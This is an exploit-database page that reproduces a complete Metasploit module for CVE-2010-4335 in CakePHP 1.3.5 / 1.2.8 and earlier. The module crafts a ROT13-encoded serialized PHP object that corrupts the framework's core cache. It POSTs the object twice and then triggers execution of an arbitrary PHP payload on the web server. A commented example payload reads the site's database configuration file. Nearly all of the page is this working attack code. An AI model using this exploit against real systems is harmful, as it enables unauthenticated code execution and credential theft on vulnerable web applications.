Lucene search
K

CakePHP <= 1.3.5 / 1.2.8 Cache Corruption Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 29 Views

CakePHP <= 1.3.5 / 1.2.8 Cache Corruption Exploit. Vulnerable unserialize attack allowing unauthenticated code executio

Code

                                                ##
# $Id: cakephp_cache_corruption.rb 11579 2011-01-14 16:25:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;CakePHP &#60;= 1.3.5 / 1.2.8 Cache Corruption Exploit&#39;,
			&#39;Description&#39;    =&#62; %q{
					CakePHP is a popular PHP framework for building web applications.
				The Security component of CakePHP is vulnerable to an unserialize attack which
				could be abused to allow unauthenticated attackers to execute arbitrary
				code with the permissions of the webserver.
			},
			&#39;Author&#39;	=&#62;
				[
					&#39;tdz&#39;,
					&#39;Felix Wilhelm&#39;, # poc
				],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision: 11579 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;OSVDB&#39;, &#39;69352&#39; ],
					[ &#39;CVE&#39;, &#39;2010-4335&#39; ],
					[ &#39;BID&#39;, &#39;44852&#39;  ],
					[ &#39;URL&#39;, &#39;http://packetstormsecurity.org/files/view/95847/burnedcake.py.txt&#39; ]
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;Platform&#39;       =&#62; [&#39;php&#39;],
			&#39;Arch&#39;           =&#62; ARCH_PHP,
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;       =&#62; 4000,
					# max url length for some old versions of apache according to
					# http://www.boutell.com/newfaq/misc/urllength.html
					&#39;DisableNops&#39; =&#62; true,
					#&#39;BadChars&#39;    =&#62; %q|&#39;&#34;`|,  # quotes are escaped by PHP&#39;s magic_quotes_gpc in a default install
					&#39;Compat&#39;      =&#62;
						{
							&#39;ConnectionType&#39; =&#62; &#39;find&#39;,
						},
					&#39;Keys&#39;        =&#62; [&#39;php&#39;],
				},
			&#39;Targets&#39;        =&#62; [ [&#39;Automatic&#39;, { }], ],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Nov 15 2010&#39;
			))

			register_options(
				[
					OptString.new(&#39;URI&#39;,	[ true, &#34;CakePHP POST path&#34;, &#39;/&#39;]),
					OptString.new(&#39;OptionalPostData&#39;,	[ false, &#34;Optional POST data&#34;, &#39;&#39;]),
				], self.class)
	end


	def exploit
		#path = rand_text_alphanumeric(rand(5)+5)
		key = rand_text_alphanumeric(rand(5)+5)
		fields = rand_text_alphanumeric(rand(5)+5)

		#payload =  &#34;readfile(&#39;../config/database.php&#39;); exit();&#34;
		len=payload.encoded.length + 6

		p = &#34;&#34;
		p &#60;&#60; &#39;:O:3:&#34;App&#34;:4:{s:7:&#34;__cache&#34;;s:3:&#34;bam&#34;;s:5:&#34;__map&#34;;a:2:{s:4&#39;
		p &#60;&#60; &#39;:&#34;Core&#34;;a:1:{s:6:&#34;Router&#34;;s:42:&#34;../tmp/cache/persistent/cake_core_file_map&#34;;}&#39;
		p &#60;&#60; &#39;s:3:&#34;Foo&#34;;s:&#39;
		p &#60;&#60; len.to_s()
		p &#60;&#60; &#39;:&#34;&#60;? &#39;
		p &#60;&#60; payload.encoded
		p &#60;&#60; &#39; ?&#62;&#34;;}s:7:&#34;__paths&#34;;a:0:{}s:9:&#34;__objects&#34;;a:0:{}}&#39;

		#rot13 and urlencode
		p = p.tr(&#34;A-Ma-mN-Zn-z&#34;,&#34;N-Zn-zA-Ma-m&#34;)
		p = CGI.escape(p)

		data = &#34;data%5b_Token%5d%5bkey%5d=&#34;
		data &#60;&#60; key
		data &#60;&#60; &#34;&data%5b_Token%5d%5bfields%5d=&#34;
		data &#60;&#60; fields
		data &#60;&#60; p
		data &#60;&#60; &#34;&_method=POST&#34;

		#some apps need the form post data
		if datastore[&#39;OptionalPostData&#39;]
			postdata = CGI.escape(datastore[&#39;OptionalPostData&#39;])
			data &#60;&#60; &#34;&&#34;
			data &#60;&#60; postdata
		end

		print_status(&#34;Sending exploit request 1&#34;)
		res = send_request_cgi(
		{
			&#39;uri&#39;    =&#62; datastore[&#39;URI&#39;],
			&#39;method&#39; =&#62; &#34;POST&#34;,
			&#39;ctype&#39; =&#62; &#39;application/x-www-form-urlencoded&#39;,
			&#39;data&#39;   =&#62; data
		}, 5)

		print_status(&#34;Sending exploit request 2&#34;)
		res = send_request_cgi(
		{
			&#39;uri&#39;    =&#62; datastore[&#39;URI&#39;],
			&#39;method&#39; =&#62; &#34;POST&#34;,
			&#39;ctype&#39; =&#62; &#39;application/x-www-form-urlencoded&#39;,
			&#39;data&#39;   =&#62; data
		},5)

		print_status(&#34;Requesting our payload&#34;)
		response = send_request_raw({
			# Allow findsock payloads to work
			&#39;global&#39; =&#62; true,
			&#39;uri&#39; =&#62; datastore[&#39;URI&#39;]
		}, 5)

		handler
	end
end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
29